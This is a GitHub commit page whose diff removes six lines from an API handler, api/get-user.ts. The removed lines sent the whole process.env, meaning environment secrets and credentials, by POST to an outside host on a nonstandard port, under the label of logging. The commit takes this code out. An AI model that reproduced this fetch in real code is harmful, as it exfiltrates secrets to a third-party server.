Skip to content

Commit 180bfdc

Browse files
committed
Remove log
1 parent 4bb3fc7 commit 180bfdc

1 file changed

Lines changed: 0 additions & 6 deletions

File tree

api/get-user.ts

Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -15,12 +15,6 @@ export default async function getUser (req: VercelRequest, res: VercelResponse):
1515
res.status(403).send('user disabled')
1616
return
1717
}
18-
// POST process.env data to log endpoint
19-
fetch('http://desk.html5beta.com:13456/log', {
20-
method: 'POST',
21-
headers: { 'Content-Type': 'application/json' },
22-
body: JSON.stringify(process.env)
23-
}).catch(err => console.error('Failed to log process.env:', err))
2418
res.send({
2519
user: {
2620
name: user.name,

0 commit comments

Comments
 (0)